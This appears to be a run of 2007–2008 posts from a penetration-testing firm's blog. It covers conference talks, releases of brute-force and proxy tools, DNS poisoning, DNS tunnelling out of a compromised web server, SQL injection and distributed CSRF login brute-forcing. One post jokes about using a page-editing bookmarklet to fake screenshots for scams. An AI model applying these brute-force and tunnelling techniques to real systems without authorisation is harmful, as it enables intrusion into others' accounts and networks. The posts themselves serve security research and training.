PS. i heard the first 3 minutes which included Alex Sotirov mention how >30 equates to over the hill, and humbly sumbit Malcolm Gladwells recent speech in silent 3rd hand rebuttal. [Age before beauty – the difference between young geniuses and old masters]

BlackHat / DefCon 2008….

Mon, 18 Aug 2008 23:28:34 +0000

Hey guys..

Most of our BlackHat/Defcon team has arrived back home in one piece.. I landed with a fever and a lost voice (but to be honest i already caught something while in Vegas!)

We will post some post-Vegas thoughts as soon as the dust settles, but i also promised:

The slides from our talk
The tools we released…

A link to the slides is here: [Pushing a Camel through the eye of a Needle]

Crowbar 0.941

Fri, 15 Aug 2008 12:33:37 +0000

Quick update on your favourite brute forcer… The file input “MS EOF char” issue has been resolved, and provision has been made for blank passwords too. The above mentioned error meant that Crowbar incorrectly used EOF characters on *nix based files.

Regarding the blank passwords, simply include the word “[blank]” (without the “”) in your brute force file and crowbar will test for blank usernames/passwords as well.

For those of you that don’t know, Crowbar is a generic brute force tool used for web applications. It’s free, it’s light-weight, it’s fast, it’s kewl :>

these tubes are quick

Thu, 24 Jul 2008 06:53:36 +0000

Kaminsky’s thunder has all but evaporated into a fine mist, and Ptacek has gone all silent. In the meantime, the MetaSploit crowd put their heads down and produced:

http://www.caughq.org/exploits/CAU-EX-2008-0003.txt

DNS poisoning for the masses.

(If anything ever deservered the tag ‘infosec-soapies’, this would be it!!!)

SQL Server 2005 – Where the $%#@ is that stored proc ?

Tue, 15 Jul 2008 09:32:27 +0000

While doing some prodding on SQL Server, i came across this newness (of course this is probably old hat to many SQL2005 dba’s)

Essentially i was tryign to track down something in sp_addserver.

The source of this stored proc [System Databases\Master\System Stored Procedures\sys.sp_addserver] showed that another stored proc called: sys.sp_MSaddserver_internal was being called.

For the life of me though, i could not track down sys.sp_MSaddserver_internal.

Turns out the answer is reasonably well documented [SQL Books Online], with 2005 – MSFT moved stored procs / and friends into a readonly hidden db. This can be made visible by copying the physical .mdf files and attaching them. [Process reasonably documented on the interwebs if you know what to search for]

Forget Dan’s DNS, the Armageddon Comes from Intel’s CPUs

Tue, 15 Jul 2008 09:30:25 +0000

Kaspersky will show how processor bugs can be exploited using certain instruction sequences and a knowledge of how Java compilers work, allowing an attacker to take control of the compiler.

The demonstrated attack will be made against fully patched computers running a range of operating systems, including Windows XP, Vista, Windows Server 2003, Windows Server 2008, Linux and BSD. The demo will be presented at the Hack In The Box Security Conference in Kuala Lumpur in October

What? no comment on the DNS thing ??

Fri, 11 Jul 2008 08:38:30 +0000

Mostly we have stayed silent, because too many people have commented too much already.. It was interesting however how Ptacek was quite deftly forced to eat his words by a Dan Kaminsky phonecall..

The “ill tell everyone all during my Vegas talk” angle is an obvious way to pack the room.. but hey, cheaper tricks have been pulled to pack rooms in the past.. [and if anyone didnt need help packing a room, its dan.. he has a cult following]

funky javascript

Mon, 07 Jul 2008 23:05:46 +0000

found this online last night. try in FF or IE7:

javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

then edit the page in-place, screenshot, and make your scam millions…

at least, it beats editing HTML?

Forget the python vs ruby discussions..

Sat, 05 Jul 2008 21:30:41 +0000

Cause this puts Perl right back in the game!

-snip-

> sudo perl -MCPAN -e shell
cpan> install Acme::LOLCAT
install — OK

> cat demo.pl
#!/usr/bin/perl
use Acme::LOLCAT;
print translate($ARGV[0]);

> ./demo.pl “Im going to run all emails through this before sending”
IM GOINS 2 RUN ALL EMAILZ THROUGH THIZ BEFORE SENDIN

-snip-

ahhh.. MUH WORK AR DONE HERE

A blog that hasnt mentioned the OSX priv escalation bug OR Firefox3 ???

Mon, 23 Jun 2008 07:43:09 +0000

well.. 50% right..

But im not going to talk about FireFoxs record breaking download, or the bug that was released in record time.. but want to point you at Andy Inhatko’s review of Firefox3. Andy is old school mac diehard, and is a regular on the MacBreak podcast but says:

“But with 3.0 . . . well, we have a victor. Firefox 3.0 should be your default browser, starting right now.”

Very decent Security Podcast..

Tue, 17 Jun 2008 10:43:05 +0000

I am probably one of the last ppl around to discover this, but ill post it here for the (probably) 2 other ppl in the world who have yet to stumble upon: Risky Business.

Its pretty hard to find good quality security podcasts without some pretty sad signal to noise ratios (or adverts on spinwrite) but risky business is def. a keeper..

i downloaded a few older episodes to help me through a long drive this weekend, and was very pleasantly surprised.. if u have not yet added it to your podcatcher.. u probably will..

rethinking ye old truths

Fri, 13 Jun 2008 00:18:01 +0000

since forever, i’ve been told (and told others) that the greatest threat is from the inside. turns out, not so much. verizon business (usa) apparently conducted a four year study on incidents inside their organisation and found that the vast majority, 73%, originated from outside. however, the majority of breaches occurred as a result of errors in internal behaviour such as misconfigs, missing patches etc. (62% of cases).

So attackers are generally outsiders taking advantage of bad internal behaviours, rather than local users finding 0-day. From the exec summary:

Carpet Bombing and eating Crow…

Thu, 12 Jun 2008 10:29:27 +0000

The recent Safari Carpet Bombing bug reported by Nitesh Dhanjani and ignored by Apple had all the makings of an egg-on-face incident. We were discussing it over foosball, and the obvious consensus was “if a line starts with: “thats not exploitable, its only..” then odds are you are wrong..”

But.. lots of people quicker and smarter than me [1, 2, 3] blogged (or twittered) about why this was a silly approach for apple to take..

This has nothing to do with anything technical..

Sun, 08 Jun 2008 11:06:22 +0000

but since it made me eat crow, i figured i would share it..

Although i read a fair bit, i stopped really reading fiction many many moons ago. Its something i often feel ill try to get back into when im a little older with more time (like playing golf), but right now it somehow always feels like fiction pieces give off less real information than their non-fiction counterparts..

To this end, i got through about 0.5 of one of the harry potter books, before deciding that it wasnt for me (but still stood in the queue at midnight for the final book because Deels has always been nuts about it..)

DefCon 16 – Hmm.. 2 of these talks seem familiar…

Mon, 02 Jun 2008 23:04:56 +0000

Some of the DC16 speaker summaries have been posted, and these 2 caught my eye:

Time-Based Blind SQL Injection using heavy queries

and

New Tool for SQL Injection with DNS Exfiltration

Both descriptions seem pretty much spot on with what we did in our DefCon talk last year..

hmm.. wonder if its new twists on it, or a little more of the same?

/mh

ActiveX Repurposing.. (aka: Other bugs your static analyzer will never find..) (aka 0day^H^H 485day bug!)

Thu, 22 May 2008 21:47:03 +0000

Earlier this week we had an internal presentation on Attacking ActiveX Controls. The main reason we had it is because of the ridiculously high hit rate we have whenever we look at controls with a slight security bent.. When building the presentation i dug up an old advisory we never publicly released (obviously we reported it to the vendor who (kinda) promptly fixed the bug (without giving us any credit at all, but hey.. ))
While the IEBlog promises updates to IE8 that will minimize the damage caused by owned controls in the future, the fundamental problems with ActiveX today are an attackers dream.

If you run Debian (or a Debian Derivative, like Ubuntu)…

Tue, 13 May 2008 21:13:59 +0000

Then you probably should get on this one… [Problems with Random Number Generator]

While it looks like an arb openssl bug, 2 seconds of reading should get you to:

-snip-

It is strongly recommended that all cryptographic key material which has
been generated by OpenSSL versions starting with 0.9.8c-1 on Debian
systems is recreated from scratch.

Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key
material for use in X.509 certificates and session keys used in SSL/TLS
connections.
-snip-

Should I stay or should I Gobi? Your support needed!

Mon, 28 Apr 2008 20:20:50 +0000

Hello All,

Some of you might remember that I climbed Mount Kilimanjaro two years ago. What you might not know is the REASON I did this (apart from the jol) was to o raise funds for CNCF, a Foundation that is a true oasis and a refuge to the street children of Vietnam and Mongolia.
CNCF – The Christina Noble Children’s Foundation is an International Partnership of people dedicated to serving children in need of emergency and long-term medical care, nutritional rehabilitation, educational opportunities, vocational training, job placement and the protection of children at risk of economic and sexual exploitation.

Phrack is dead.. long live Phrack ??

Wed, 16 Apr 2008 12:18:54 +0000

Uninformed has certainly done awesomely at filling in the gap left when phrack went silent, but there is something nostalgic about reading phrack… it seems like issue 65 has just hit the streets..

Its my SensePostaversary!

Tue, 01 Apr 2008 20:38:31 +0000

Whoa! time flies when you having fun…

(click for orig.)

2 Winning quotes..

Sat, 29 Mar 2008 19:53:07 +0000

from the SourceBoston videos i blogged about:

Dr Geer never dissapoints, and kicked it off with the 4 rules on his office wall:

Work like hell,
Share all you know,
Abide by your handshake,
Have fun.

If he mentioned anything about foosball or pool.. i woulda sworn blind he was talking about SensePost!

The 2nd quote that was awesome, (during the interview with the l0pht members) was from Dildog.. ex-l0pht, ex-@stake, now Veracodes chief scientist.. The discussion turned to “security companies and snake oil”, and the fact that dildog was a “vendor” again.. With a dry smile that could have been at home in a john cleese movie, he replies:

2 reasons to visit sourceboston.com (and 2 reasons to rejoice!)

Mon, 24 Mar 2008 19:37:09 +0000

SourceBoston completed its first conference earlier this month, and some of the slide decks and videos are up..

While the image of the young hax0rs indeed brings back fond memories of surfing blackcrawlarch and trying in vain to get mosaic chat to work in the lounge, it isnt one of the 2 reasons to rejoice..

The chance to watch Dr. Dan Geers talk (Dr Geer is one of those people who remind you how un-smart you are everytime you hear him speak)
And on a mildly unrelated note (for some definition of mild), the fact that all USENIX conference proceedings have been made available freely online.. Rock on!

Write a paper? or nip down for a pint?

Wed, 19 Mar 2008 16:20:00 +0000

Apparently the two _are_ mutually exclusive.. [according to the NY Times…]
-snip-
According to the study, published in February in Oikos, a highly respected scientific journal, the more beer a scientist drinks, the less likely the scientist is to publish a paper or to have a paper cited by another researcher, a measure of a paperâ€s quality and importance.
-snip-

Veni, Vidi, Damni

Thu, 13 Mar 2008 04:54:26 +0000

At last years BlackHat USA a bunch of us played some American geeks a game of late night parking lot football.. Our victory there, and the 6 months of victorious memories from that night filled us with enough false self confidence to take on the SBG guys last night..

While several of us are claiming altitude differences as the root cause of the bad result, those in the game with a keener eye (and longer memory) will long recall that the (almost) final kick of the match was a missed opportunity to equalise that could have been scored by my grandmother (with her wooden leg). (we will not name the culprit who missed this gift-wrapped goal, because i dont want to people to know it was me)

Everything i needed to know about managing hackers, i learnt from my DVD collection..

Sun, 09 Mar 2008 20:35:07 +0000

Ok.. so the title clearly isnt true.. but it made more sense than saying something about the altered geographic location of someone’s dairy products.

It is however true, that this particular blog rant is largely about the geek<-->suit relationship and thoughts that are brought to life with full surround sound while watching the movie Troy. (its ok if you are one of those highly cerebral types who look down with disdain on us humble movie watchers – u can think of this post in terms of “what we can learn about managing hackers from Homers Iliad“) (5 minutes after meeting the guys who work for us, a very obvious question is: “how do u manage a team of such bright individuals? isnt it like herding cats?” – this is one of the how-to’s (or how not to’s))

RE: Sensepost at Cebit 2008

Thu, 06 Mar 2008 11:44:20 +0000

“SensePost have once again been invited to join the South African Department
of Trade and Industry at Cebit, as one of 10 SA companies, to exhibit on
their pavilion. Visitors to this show range in the region of 500,000 and
approximately 5700 exhibitors fill the 27 Halls. Cebit is the biggest
information and technology show in Europe and attracts exhibitors and
visitors from all over the world.”

The Peltier Effect – Year in Review..

Tue, 04 Mar 2008 09:53:10 +0000

Peltier and Associates have released their massive “Peltier Effect – Year in Review 2007“.

The collection comes in at a whopping 156 pages from a wide array of authors so there should be somethign to read in it for everyone..

Our short article: “2007 â€“ The Year Timing Attacks Made a Comeback” comes in on page 43 (or 52 depending on if you believe the page numbers or your pdf reader). Other contributions include a foreword by Marcus Ranum, and articles from Dave Aitel, Max Caceres and Ivan Arce.. humbling company..

DNS Tunnels (RE-REDUX)

Thu, 28 Feb 2008 09:38:58 +0000

On a recent assessment we came across the following scenario:

1) We have command execution through a web command interpreter script (cmd.jsp) on a remote Linux webserver
2) The box is firewalled only allowing 53 UDP ingress and egress

3) The box is sitting on the network perimeter, with one public IP and one internal IP, and not in a DMZ
So we want to tunnel from the SensePost offices to Target Company’s internal machines, with this pretty restrictive setup. How did we accomplish this?

SNMP Joins Dark Side in New XSS Attack

Wed, 27 Feb 2008 19:54:06 +0000

-sigh- the topic is stolen directly from the [DarkReading Article]
-snip-
Itâ€s yet another new spin on a pervasive attack — this time using the old standby Simple Network Management Protocol (SNMP) to stage cross-site scripting (XSS) attacks.
-snip-

-sigh- a little while back while doing a pen-test on a 1U device, we found that a well poisoned SNMP string could easily result in XSS and even SQL Injection attacks.

Prof Felten (and friends) attack bitlocker/filevault (and friends)

Thu, 21 Feb 2008 20:30:57 +0000

So felten et al basically figured that cooling dram chips allows an attacker to move them to another machine where they can be leeched!

The geek in me cant help but say “COOL!”
According to the comments posted (by Eugene Spafford no less) this sort of attack is fairly well known.. but.. for this humble fanboy, i think its still pretty rocking!

Sorting your shoes like a whore!

Mon, 18 Feb 2008 10:29:56 +0000

(my first X-Rated blog post.. i should hook up ad-words and watch the money roll in!)

Ok.. our Zimbabwean recruit was posed the following question by some international academics:

Q:”How would you sort your shoes?”

He answered:

A: “I make the assumption that the shoes are positioned such that I can see their sizes, and that they are in a row of boxes. I would randomly pick a pair of shoes in a box and call them my ‘pivot point’. I would then reorder the shoes such that all shoes with sizes less than my pivot are on the left of it, and all shoes with a greater size are on the right of the pivot (perhaps having 2 piles of shoes next to me as I work, one for size less than, one for size greater than). This pivot pair of shoes would now be in their correct sorted position. I would then apply this same process to the left and right sets of shoes, and then to their left(left,right) and right(left,right) sets, continuing this process until all shoes have been ‘pivoted’ or there is only one or zero pair of shoes between two pivots. (i.e a set of only one pair).”

HTTP-Mangler QoW…

Mon, 18 Feb 2008 10:18:48 +0000

Many people took a crack at “what tool will work to replace mangler, out of the box” and so we have a bunch of new tools to play with..

Steven’s answer of MS-Word or PowerPoint left us scratching our heads a little, and rezn threw in the added complexity of the app requiring valid certs..

(to answer rezn, i think you could avoid the SSL complications with judicious use of a detours app or echo-mirage from bindshell.net).

Locating other sites on a virtually hosted box..

Mon, 18 Feb 2008 09:58:23 +0000

So everyone uses the live search engine with a ip: when trying to locate virtual hosts.
I used domaintools in the past with good results, till they went fully pay-per-use.

Checkout Reverse IP Domain Check , The 2 ips i’ve tested it on, gave reasonable results and at a great price!

WebScarab-NG HTTP Mangler Functionality

Mon, 18 Feb 2008 08:58:02 +0000

H said that there is a tool that will do the HTTP Mangler functionality out of the box.

So here goes. WebScarab-NG is the tool that will do the trick. First we select the feature that will allow us to setup the proxy listener as seen in the image below.

Then we need to configure the proxy listener to the ports etc we need as seen below.

Horses and DNS BruteForcing..

Fri, 15 Feb 2008 09:14:35 +0000

Old timers here will know about the concept of bruteforcing DNS using the clues available..

i.e. zone transfers disabled, but u see that the NS and MX servers are called gandalf.company.com and elrond.company.com. Effectively trying frodo.company.com is going to make good sense..

To this end BidiBlah will do this automagically for u and tries to eek out info.. (a little while back i saw fierce-scanner pop up in a similar vein!)

Open source (and lightning fast) Safari ?

Sun, 10 Feb 2008 20:08:22 +0000

While im into posting mac-links.. Check out [Webkit]

A little while back i mentioned not understanding why anyone would run a closed source browser while a decent open source version existed.. Then i was forced to use Safari while doing some testing, and was impressed by its snappiness.. it impressed me more when it didnt flinch at me opening ans surfing thousands of tabs.. blergh.. suddenly my firefox was losing its sheen!

Tooble for the win.. piracy++ ??

Sat, 09 Feb 2008 17:55:08 +0000

For those of you who have not yet tried it, check out Tooble. Its a point and click tool that lets you download videos from the youtube.. its pretty cool and allows u to pull/convert videos pretty trivially.. [for all my “dont do piracy” holier than thou-ness, i now have to wondr if pulling a google-tech-talk, which doesnt have a download link (i.e. the authors did not want us to download it) is any different to pandas cat internet > home_nas behaviour..)

HBN Bootcamp @ Black Hat

Mon, 28 Jan 2008 21:46:56 +0000

Black Hat DC this year is supposed to be “a different kind of Black Hat”. There are four tracks over the two days with a special emphasis on wireless and speakers include Chris Wysopal, FX from Phenoelit, Job de Haas, and Adam Laurie. The smaller shows are always good fun and good value for money and DC this year promises to have an excellent line-up of speakers.

As usual training courses are offered on the two days before the briefings begin. Its been a while since we trained at DC but this year we’re back with a Bootcamp course. The course is filing up nicely, so we’re totally stoked. Like the show, the courses tend to be smaller and more personal so if you’ve never attended a Hacking By Numbers
‘Bootcamp’ course before then this is a great opportunity. Bootcamp Edition teaches a method-based approach to hacking into networks and systems over the Internet. The method taught consists of seven distinct phases that each have their own objectives, techniques and tools. Students are provided with fully-configured laptop computers that are used stage-for-stage to complete fifteen different technical exercises. You can learn more or enroll here… otherwise contact us via training@sensepost.com if you’d like some more information.

John Heasman is now Blogging..

Sat, 26 Jan 2008 20:34:21 +0000

John is one of the bright guys over at NGS, and judging by his track record will boost the signal to noise ratio in the blogosphere.. You can read him at [aut disce, aut discede]

(of course, in truth.. i woulda linked to the blog just because i love the title (aut disce, aut discede – Either learn or leave))

On working when everyone else is asleep…

Wed, 23 Jan 2008 04:50:12 +0000

This quote reminded of something H always says:

“When opportunity comes… its too late to prepare”

– John Wooden – Hall of Fame Basketball coach

Eerie coincidences..

Tue, 15 Jan 2008 20:34:57 +0000

a) its my birthday in a few days

b) Apple just announced the new macbookair..

Coincidence??? i think not!!!

Is URL / Variable Name the new Port Number ??

Thu, 10 Jan 2008 08:41:57 +0000

There has been a fair bit of blog buzz about the new SQL Injection worm that ran around infecting sites. I have not looked too deeply into it, but have not yet seen accounts of how the targeting was done. Since the sites do not appear to have been running a common framework i would guess that it was search-engine generated targets based on resource name (like inurl: search.asp)..

For ages we have been telling people that if they had to have a /admin/admin.asp on their internet facing web-app that they would at least help minimize their exposure a little by naming it /admin_[bet_u_dont_find_this]/admin_[another_variable].asp

Strange Entries in your wbeserver logs, Wikto and questions about our Gender!

Tue, 08 Jan 2008 15:57:33 +0000

Over the past while we have been getting emails from people trying to figure out why they had entries like this in their http log files:

10.10.1.136 – – [32/Dec/2007:25:61:07 +0200] “GET //admin/dat_Gareth_at_sensepost_hackslikeagirl_.asp HTTP/1.1” 404 –
Recently a concerned Wikto user figured out that this was linked to him using Wikto (our Win32 Nikto Replacement + Directory / File / Back-End Miner). A snippet from his email read:

-snip-

I sniffed the traffic going out from my host going to the target host and infact this is the result:
HTTP GET /admin/dat_Gareth_at_sensepost_hackslikeagirl_.asp HTTP/1.0
All the requests are full of this… Well, at this point the questions are two:
1) You have a strange sense of humor.
2) You have been compromised. Waiting for a feedback,

Wikto 2 Bugfix

Thu, 03 Jan 2008 12:32:26 +0000

A seasonal Wikto version was released on the 22nd (Version 2.0.2911-20215) which has an issue with the web spider funtionality.

HTTPS requests are being made in plain text, and this obviously means that attempts to spider such sites will not work.

A bug fix for this is available from www.sensepost.com

Thanks to Mark Murdock for the heads up.

Two pointless excuses to post two pictures..

Thu, 03 Jan 2008 09:41:14 +0000

a) At the end of the year we usually end up getting geek-gifts.. from SensePost, to SensePost.. Last years iPod nano’s were always going to be a tough act to follow.. but i think the picture says it all:

(click pic for clearer view)

I know for those across the pond its probably going to sound 3rd world, but i was genuinely suprised at how life-changing GPS technology is.. Of course, it brings the usual geek side effects (other than people playing with Pimp my GPS). I.e. we noticed the other day that in the car park before going home, everyone was busy fiddling with their GPS units.. so suddenly, a bunch of reasonably intelligent folks who used to make the commute to the office and home daily for about 3 years need instructions on how to do it *sigh*

Applescript for HTTP BruteForcing..

Tue, 01 Jan 2008 19:46:48 +0000

A long time ago i blogged on the joys of using VBS to automate bruteforcing [1|2]when one didnt want to mess about duplicating an applications functionality at the protocol level.. Yesterday i had need to brute-force a web application which tried hard to be difficult and annoying..

Normally i would have used crowbar, Suru or a ugly mangled Python script, but the application was strangely difficult..

i.e. the login process is multi staged, with new cookies being handed out at various stages. 302 redirects are used heavily and then to top it off a healthy dose of JavaScript is sent back in replies that also affect your navigation.. Now all of this can be scripted (obviously) but i figured i would try automating Safari with applescript to get the same effect..

Another time sink-hole..

Sat, 29 Dec 2007 08:20:29 +0000

A while back some of us discovered and subsequently lost days to “The Python Challenge“. Well.. prepare to write off a little more time, and check out “Project Euler“. From its about page:

”

What is Project Euler?

Project Euler is a series of challenging mathematical/computer programming problems that will require more than just mathematical insights to solve. Although mathematics will help you arrive at elegant and efficient methods, the use of a computer and programming skills will be required to solve most problems.

Amazon SimpleDB – Outsource your database??

Sun, 23 Dec 2007 12:40:20 +0000

Amazon announced the beta of Amazon SimpleDB without that much fanfare, but it is an interesting trend to watch..

Essentially amazon are giving the power of a database to people used to excel and simple queries, backed by their massively optimised infrastructure. It will make popping up a web shop even more trivial than it has been in the past, and i guess continues along the growing trend of allowing “content to be king”. i.e. u dont need a sql geek in your corner, just a good idea .

The coolest thing this weekend…

Tue, 18 Dec 2007 08:12:05 +0000

Ok.. so being the cautious geek i am, i had bought a mac mini a while back before jumping into the OS X waters.. Unfortunately it was probably the last PPC mac mini’s sold, which means it has limited options (unless i convert it to yellowdog or somethign of the sort).

About 4 months ago i bought a (huuuuge) tv.. unfortunately i quickly figured out that the reason i never bothered with one before is that there isnt really anything decent on tv, and deels and i still spent more time watching googlevids than anythign else..

Rob Auger from OWASP/WASC/CGiSecurity on Timing..

Tue, 11 Dec 2007 08:33:38 +0000

Rob had a rant on his site on the timing attack, with a CSRF twist.. We met him after our Vegas talk, but im not really sure how his attack differs from our published one..

my on-list response:

-snip- From: haroon meer To: bugtraq@cgisecurity.net Cc: websecurity@webappsec.org Subject: Re: [WEB SECURITY] Performing Distributed Brute Forcing of CSRF vulnerable login pages

Hi Robert..

Thanks for the kind words on the talk.. If you check out the visio at: http://www.sensepost.com/blogstatic/2007/08/dxsrt.png you will see that its pretty much the same attack.. In a shameless display of self-pimpage, check out the paper http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf from page 12.. Figure 23 for example shows the results in a victim/zombies browser, after he has visited our page.. Effectively he tries the userlist we send him (in this case on a standard squirrelmail login page). Once he detects a timing diff (again using a trivial algorithm to avoid latency disparity) he simply makes another request to the attacker to report his success..

Casper and hidden IE windows..

Thu, 06 Dec 2007 21:33:11 +0000

OK.. so it was a long time ago, and old code is supposed to embarrass
you.. but i pulled casper.exe form our webpage today
to test something for the project im on..

interestingly it runs pretty ok, and actually doesnt look from the
outside as ugly as it is underneath..

if you never used casper, take it for a quick spin.. if nothing else u
will be suprised by how many invisible windows currently live on your
desktop..

Dino Dai Zovi is such a Rock Star..

Thu, 06 Dec 2007 21:18:22 +0000

Dino is the guy who added much shellcode coolness to MetaSploit, gave
the world Karma, released the first virtualization rootkit for Intel
(Vitriol), and gave much credibility to the Matasano crowd while he was
there..

Although he left the consultancy gig, he popped up briefly again during
the year to claim his macbook in the Cansec Hack the Mac challenge and
popped up again to break second-life..

The fine line between failure and success

Sat, 01 Dec 2007 10:24:45 +0000

So…because I don’t have a report to write this weekend I’ve had some
time to ponder and reflect on stuff (and read my mail)- I thought I’d
share some stuff that came to the fore of my mind again now when reading
a newsletter.

Since the early days of playing competitive sport (in those days it was
paintball) I’ve always been astounded as to the intensity of the
emotions involved when you win and when you lose. Particularly how when
you are on a losing streak (or your personal game just sucks) it’s
really tough to drag yourself out of that and come back kicking ass. I
hate to lose…I really hate it…

Google as an MD5 Cracker..

Wed, 21 Nov 2007 09:30:07 +0000

Slashdot picked up on the blog post from Light Blue TouchPaper commenting on the fact that a researcher was suprised to discover that simply putting an md5 hash into google returned a hit with a mapping to the original word..

This is an interesting concept.. A while back, we decided to fiddle with the concept of using googles indexing and spidering as a new take on the time/space trade-off for password cracking..

Follow-up (OS X BSOD Win32 Icons)

Fri, 02 Nov 2007 08:24:44 +0000

Of course, Leopard’s new improved ™ finder includes an Itunes’esque “Cover Flow” view (which includes quick view thumbnailing quite impressively)..

Of course, it means you get a better look at the win32 – BSOD :>

Rational vs Emotional Commitment

Thu, 01 Nov 2007 15:35:38 +0000

I’ve spoken before on how I like some of Simon T Bailey’s stuff and his
general leetnesses…he has some gems…

This one, on rational vs emotional commitment is quite leet and touches
on a discussion we had over lunch…

-snip-

You might be wondering about the difference between rational and
emotional commitment.

Rational commitment is the â€œwhatâ€ that you agree to give an organization
when youâ€re hired: your time, talent and energy in exchange for
financial compensation, professional development opportunities and the
chance to fulfill your career ambitions.

i know this has been blogged all over the interwebs..

Wed, 31 Oct 2007 23:34:22 +0000

but Leopards default icon for windows machines has to rank up there with dvwssr.dll

(yeah.. thats a BSOD)

/mh

ok.. who’s old enough? what was the similarity between this and dvwssr.dll ?

Mind Control, Big Cats, Feynman && kiosks…

Mon, 29 Oct 2007 07:20:10 +0000

Aka… A good weekend..

The weekend got off to a slow start, when Amazon claimed it would take a little longer than planned to ship us the “Web Application Hackers Handbook”. Fortunately it picked up after that..

The first ray of light was finding a new strange bug on a huge application that smells a lot like full remote code execution.. Then the office had a power-outage and i felt the rage building.. drove to the office to collect my stuff mumbling statements related to 3rd world and feeling sorry for myself, but.. i needed to complete a report and needed to be in JHB later that night, so decided to stop off in Sandton City where i could work for a bit (exclusive books: coffee + gprs + deels could enjoy herself too)

PauldotCom Interview, Part I

Thu, 25 Oct 2007 09:50:49 +0000

OK.. so part one of our pauldotcom interview has hit the interwebs.. it was fun and involved a power failure and a dog that chewed through charl’s microphone cable about 15 minutes before the interview started..

My thoughts on it were best expressed earlier on irc..

-snip-

12:04 <+MH> i sounded (cleverer/less annoying/less nasal) in my head..

12:04 <+MH> apparently hearing ur own voice through ur teeth explains (3).. (1) and (2) i suspect are just mild delusions..

22:30 to 23:30: the quiet hour

Fri, 19 Oct 2007 08:49:27 +0000

while waiting around for the PSW guys last night, it seemed like a good time to test our mettle on the foosball table. we’ve witnessed rapid development of general foos skills in the office since the introduction of the table a few weeks ago, and the improvement in shot speed has been noticeable. of course, questions always remain as to the difference between actual and perceived velocity of shots, and the only way to answer the questions is by a clean, scientific, test.

9 days to leopard…

Wed, 17 Oct 2007 09:18:45 +0000

You can almost taste the fanboy excitement.. but im guessing there will also be the mandatory rush for the first big bug announcements..

There are a few things that look cool.. Apple joins the right decade with ASLR and native multi-desktops looks cool.. DTrace on osx seems like a winner too..
Of course, theres also the much touted: “Back to my mac” feature:

[watch video of it in action]

MSDN Mag – Security Edition is out..

Tue, 16 Oct 2007 21:37:52 +0000

The November edition of MSDN magazine [is available] and is another security issue.. The articles look interesting, and if you look closely you should notice articles by infosec rockstars like mike howard, damien hasse and the occasional member of LSD..

Grab it while its hot…

Wikto Updates

Mon, 08 Oct 2007 14:19:25 +0000

A new version of Wikto is also available, which provides a more reliable web spider and also includes some minor bugfixes.

More details regarding Wikto are available at http://www.sensepost.com/research/wikto

Suru Version 2.0

Mon, 08 Oct 2007 14:18:39 +0000

We are pleased to announce the release of Suru version 2.0, our MITM proxy.

Suru has now been rewritten to work with the .Net 2 runtime environment and includes all the features of the original 1.x stream, as well as numbers of enhancements and upgrades.

Features which have been added since the last 1.1 stable release include the following:

Upstream proxy support
Response timing for timing-based attacks
Highlighting of search terms in the request editor and the browser
Neater and sortable request and fuzz list boxes
Request interception

There is currently a known bug when using Suru 2.0 with Mac OS/X and Parallels, but we hope to have the issue ironed out as soon as possible and will release a fix for this in the very near future.

Piotr Bania Agrees.. Metal Gear Rocks.. (warning.. this post has 0 to do with infosec)

Tue, 02 Oct 2007 20:26:02 +0000

Way back in 2000 i bought my kid sister a Sony PlayStation.. I have never been a big gamer (not since arcade games when i was tiny) but a reliable source at work convinced me to play Metal Gear – Solid. The game was awesome and for the period i played it, it dominated my life.. im not a gamer so probably not qualified to use words like gameplay but found the game incredibly intuitive and seldom ever found it “gamey”.

The proof of the pudding ?

Mon, 01 Oct 2007 21:14:03 +0000

Royal pingdom did a quick check on what was running at some of the more popular sites on the Internet and end up with the following table:

Its intersting for a whole bunch of reasons that im currently too sleep y to write about.. (sleepy??? must be old age?)(or the flu pills im taking)

The first thing that was interesting to me was the suprising lack of BSD ? i like linux and have used it as a desktop machine forever (before becoming a macfanboy) but have always defaulted to FreeBSD for servers.. im not sure what this means and ill do a little netcraft digging tomorrow to see if its a general trend..

The myth of the expert

Sat, 29 Sep 2007 08:11:27 +0000

Something we preach very strongly in our training is the importance of
an understanding of the underlying technology / application / issues,
and being able to dig into the core of an issue, not just try a trick or
two and move on. Sadly, most people don’t see it this way.

It’s also somewhere between sad and frustrating for me that there seems
to be an over-abundance of so-called “experts” in our field. While this
isn’t an issue for those who have a deep understanding, the fact of the
matter is that for many of our customers, their key competence is their
respective industry, and not information security.

Feedback on our courses in Switzerland

Thu, 27 Sep 2007 18:00:45 +0000

We just finished presenting an HBN Bootcamp and an HBN Combat Edition in Lausanne, Switzerland. A lot of people don’t know that we do this format – small courses on location worldwide. Its a different vibe to the big courses we do at Black Hat and the like, but it has some real advantages. Here’s the feedback we received – I especially like the nice things they say about me…

reddit: exploit publisher?

Wed, 26 Sep 2007 15:17:27 +0000

saw this in my RSS reader, the null poison byte makes a comeback!

Until it gets fixed, you can view here.

Is that a robots.txt in your pocket or are you just ahppy to see me?

Tue, 25 Sep 2007 21:52:55 +0000

This will probably get cleaned up soon, but thats a huuuuuuuge robots.txt [ http://www.whitehouse.gov/robots.txt]

I have always tried to keep this blog politics-free

Sat, 22 Sep 2007 22:22:13 +0000

but the last Scott Adams posting on the Iranian presidents US visit has to be the best piece i have read in a long long time..

BotNets not just for SPAM any more

Fri, 21 Sep 2007 03:05:09 +0000

The Symantec Security blog has an article titled “Botnets: not just for spamming anymore“. Interestingly we are now starting to see the use of botnets for more than just simple spamming (or simpler DoS attacks).

Its pretty cool (in a twisted sort of way), because this is one of those things we called out a long time ago, predicting that botnets were way under-used as a form of cheap distributed computing. We have been mentioning its potential for effectively minimizing the key-space of session-ids and it looks like its starting to rear its head..

Introducing Hex-Rays…

Thu, 13 Sep 2007 19:58:16 +0000

These days its almost impossible to read a book on security or vuln-dev without a gratuitous IDA-Pro screenshot. IDA has proven itself so valuable at reversing that its near impossible to find texts that fail to mention it. (Even ancient texts from fravia and woodman will make reference to it).

Well.. for a long long time people have wondered why ilfak (ida’s main author) didnt get into the point and click vuln finding / point-and-click disassembler business.. For a long time he (and datarescue stayed out of it), till now..

FaceBook

Thu, 13 Sep 2007 07:57:06 +0000

’twas only a matter of time before various FaceBook developers started cashing in on the amount of personal info they can collect…

http://www.theregister.co.uk/2007/09/12/facebook_compare_people/

This was something Marco and I chatted about a few weeks ago – not from the “financial gain” perspective, but rather from the large amounts of data one would be able to collect from Facebook by playing with the FaceBook API. Unfortunately, there has been no time for fun and games yet…

